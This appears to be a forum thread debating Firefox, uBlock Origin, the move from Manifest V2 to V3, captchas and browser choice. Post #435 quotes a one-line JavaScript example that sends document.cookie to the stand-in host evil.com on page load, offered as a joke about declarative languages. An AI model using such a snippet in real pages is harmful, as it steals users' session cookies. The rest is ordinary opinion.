Firefox is now the last major browser that still supports uBlock Origin • Hacker News Board

Re: Firefox is now the last major browser that still supports uBlock Origin

#431

Post by dspillett » Sat, Aug 15, 2026, 11:14 AM UTC

cookiengineer wrote: post #287

dralley wrote: post #99

Earlier quoted context omitted.

Websites already can barely be assed to care about supporting Firefox users, doing adblocking by default is a great way to get websites to start putting up banners that say "our website does not work with your browser, please switch to Chrome" en-masse. And Mozilla did develop anti-fingerprinting tech, but they can't enable it by default because it breaks lots of websites and when a website doesn't work they're not g…

With a normal Firefox on desktop on Linux, I get unsolvable recaptchas all the time, especially on cloudflare pages. Ironically, if I fake instead a chromium to be on Windows (UA and Sec-CH headers), I am allowed most of the time even though my TCP fingerprint must mismatch then. It's annoying to see what the normal web has become. Can't even read news anymore. Ironically, all these bot defenses make it easier for bo…

> I get unsolvable recaptchas all the time, especially on cloudflare pages

Repeated problems with cf and similar like this seem to be more common for users behind CGNAT (most mobile users for example). Presumably all the other hosts sharing the same final outgoing address(es), some of which will be running bots either deliberately or because they've been infiltrated by malware, confuse the heuristics that decide how often checks should be made.

Re: Firefox is now the last major browser that still supports uBlock Origin

#432

Post by tremon » Sat, Aug 15, 2026, 11:19 AM UTC

matheusmoreira wrote: post #43

avaer wrote: post #32

What's funny is that extensions were supposed to be a way to let you do the things the browser didn't want you to do. Guess that was a bit too much freedom for Google to accept, so they had to make a store with a gate, and destroy the APIs so that they're useless. Then they had to make up some reasons to justify that and ram it through the pipeline despite everyone's objections, and the frog got boiled. Now we're bac…

> Then they had to make up some reasons to justify that Hate to be the one to defend Google here, but the reasons weren't that unreasonable. I want my browser to prevent random extensions from directly reading web page data. The declarative API idea is pretty good. It's just that uBlock Origin is so insanely useful, important and trusted, it should get full access to the entire browser regardless. Honestly, it should…

I want my browser to prevent random extensions from directly reading web page data

I also want my browser to prevent random third-party javascript from doing the same. And I care more about that one, because as a user I don't have control over said third-party javascript while I do have control over the extensions I'm using. The browser is supposed to be a user agent, not act as an extension of the website owner.

Re: Firefox is now the last major browser that still supports uBlock Origin

#433

Post by pmontra » Sat, Aug 15, 2026, 11:20 AM UTC

ololobus wrote: post #401

GeekyBear wrote: post #21

Firefox is also the only browser that vets uBlock's code on every update to make sure the developer hasn't inserted spyware or malware into the extension. They don't do it for every extension, but they do so for a wide selection of popular options. > Recommended extensions differ from other extensions that are regularly reviewed by Firefox staff in that they are curated extensions that meet the highest standards of s…

I’m a huge fan of Mozilla and Firefox specifically, but I don’t think that the way classical adblock extensions are made is the right way. Instead, it should be done as Apple/Safari do it [1]: the browser provides an API to hook/set a block list of identifiers that should be blocked, it could be resource hostnames, html signatures, need to think how to improve the API, but this way it’s completely safe, extension has…

With that approach how am I going to block ads on long-tail-site.example.com and lots-of-ads.new-domain.com? I'll let uBO read my traffic. Firefox is reading my traffic anyway.

Re: Firefox is now the last major browser that still supports uBlock Origin

#434

Post by bambax » Sat, Aug 15, 2026, 11:21 AM UTC

therealmarv wrote: post #428

bambax wrote: post #425

There's a mystery here. People hate ads. Firefox is the only major browser (save Brave?) that properly blocks ads. Yet people don't use Firefox (indeed its popularity is in free-fall). Why? Is it because they don't know about it? Or they won't go to the trouble of using any browser that isn't the one provided by default by the OS? I'm not sure. I just don't get it.

I use Brave. I want Chromium under the hood. Firefox on mobile is not good, tried it many times. I also don't trust Firefox Mobile security as much as I trust Brave/Chromium on Android.

Firefox on Android is excellent.

Re: Firefox is now the last major browser that still supports uBlock Origin

#435

Post by tremon » Sat, Aug 15, 2026, 11:22 AM UTC

inigyou wrote: post #375

matheusmoreira wrote: post #246

Earlier quoted context omitted.

Javascript is not a declarative language.

Sure it is. Here's how you can write a declaration that you want to exfiltrate cookies: document.addEventListener("load", function(){ fetch("http://evil.com/"+document.cookie); });

That's not a declaration, that's a statement. An imperative statement, to boot. Here's what it would look like in an actual declarative language:

Re: Firefox is now the last major browser that still supports uBlock Origin

#436

Post by matheusmoreira » Sat, Aug 15, 2026, 11:27 AM UTC

ezoe wrote: post #396

matheusmoreira wrote: post #43

Earlier quoted context omitted.

> Then they had to make up some reasons to justify that Hate to be the one to defend Google here, but the reasons weren't that unreasonable. I want my browser to prevent random extensions from directly reading web page data. The declarative API idea is pretty good. It's just that uBlock Origin is so insanely useful, important and trusted, it should get full access to the entire browser regardless. Honestly, it should…

Mozilla relies 85% of income from Google for making default search engine Google. They probably have strong implicit pressure not to.

Mozilla has 300+ million dollars in the bank.

Re: Firefox is now the last major browser that still supports uBlock Origin

#437

Post by AnonymousPlanet » Sat, Aug 15, 2026, 11:28 AM UTC

matheusmoreira wrote: post #43

avaer wrote: post #32

What's funny is that extensions were supposed to be a way to let you do the things the browser didn't want you to do. Guess that was a bit too much freedom for Google to accept, so they had to make a store with a gate, and destroy the APIs so that they're useless. Then they had to make up some reasons to justify that and ram it through the pipeline despite everyone's objections, and the frog got boiled. Now we're bac…

> Then they had to make up some reasons to justify that Hate to be the one to defend Google here, but the reasons weren't that unreasonable. I want my browser to prevent random extensions from directly reading web page data. The declarative API idea is pretty good. It's just that uBlock Origin is so insanely useful, important and trusted, it should get full access to the entire browser regardless. Honestly, it should…

If you look at all the threat vectors of a browser from a user perspective, a rogue extension is well at the lower end.

If you look at the threat vectors for the revenue of a company like Google, extensions that aren't limited by the browser are pretty much number one.

This should tell you everything you need about the matter.

Re: Firefox is now the last major browser that still supports uBlock Origin

#438

Post by sebstefan » Sat, Aug 15, 2026, 11:31 AM UTC

eahm wrote: post #76

Wtf, simply not true: Brave: chrome://flags/#brave-extensions-manifest-v2 > brave://settings/extensions/v2 > Enable uBlock Origin (Brave-hosted, even better). Helium comes with uBlock Origin pre-installed. Edge even still has it https://microsoftedge.microsoft.com/addons/detail/ublock-ori... And I'm sure others ...I personally only use/test Brave, Brave Origin, Helium and Firefox.

Opera also claims they are committed to support manifest V2 forever.

Re: Firefox is now the last major browser that still supports uBlock Origin

#439

Post by self_awareness » Sat, Aug 15, 2026, 11:34 AM UTC

defrost wrote: post #405

self_awareness wrote: post #398

Lots of browsers have built-in adblockers that use the same lists as uBlock Origin. Why it's important to support the extension? We have adblocking anyway. But also, be Mozilla: decimate your own plugin ecosystem, kill half of plugins, force to rewrite the other 50%. But a few years later support this 1 extension, and people will remember that you're a good guy. When they've adoped Chrome plugins, they've effectively…

It's not the uBlock Origin extension that needs saving for "better" adblocking, it's the capabilities of the now discontinued by Google / Chrome extension supporting framework known as Manifest V2. The 'newer' Manifest V3 replaced the V2 webRequest API with a more limited declarativeNetRequest API. The original allowed the intercept and blocking of network requests in real-time as generated, the replacement allows a…

Manifest V2 functionality that has been cut out was used only in adblockers, right?

And we have adblockers built-in in various browsers now.

So since we have built-in adblockers, we don't really need MV2 functionality anymore? Why oppose MV3?

I mean why people want to oppose MV3 instead of simply asking your favorite browser to expose the browser-specific API for missing functionality, like it was done "in the old days"?

If Google wants to block MV3, then let it block it, and ask browsers to expose missing API. Of course this won't happen in Chrome, but back in my days when software was limited, we simply stopped using it in favor of more complete software.

Re: Firefox is now the last major browser that still supports uBlock Origin

#440

Post by defrost » Sat, Aug 15, 2026, 11:37 AM UTC

self_awareness wrote: post #439

defrost wrote: post #405

Earlier quoted context omitted.

It's not the uBlock Origin extension that needs saving for "better" adblocking, it's the capabilities of the now discontinued by Google / Chrome extension supporting framework known as Manifest V2. The 'newer' Manifest V3 replaced the V2 webRequest API with a more limited declarativeNetRequest API. The original allowed the intercept and blocking of network requests in real-time as generated, the replacement allows a…

Manifest V2 functionality that has been cut out was used only in adblockers, right? And we have adblockers built-in in various browsers now. So since we have built-in adblockers, we don't really need MV2 functionality anymore? Why oppose MV3? I mean why people want to oppose MV3 instead of simply asking your favorite browser to expose the browser-specific API for missing functionality, like it was done "in the old da…

I'd suggest you sleep on that comment and come back with fresh eyes and a clear head; as is, the logic isn't as joined up as you might think.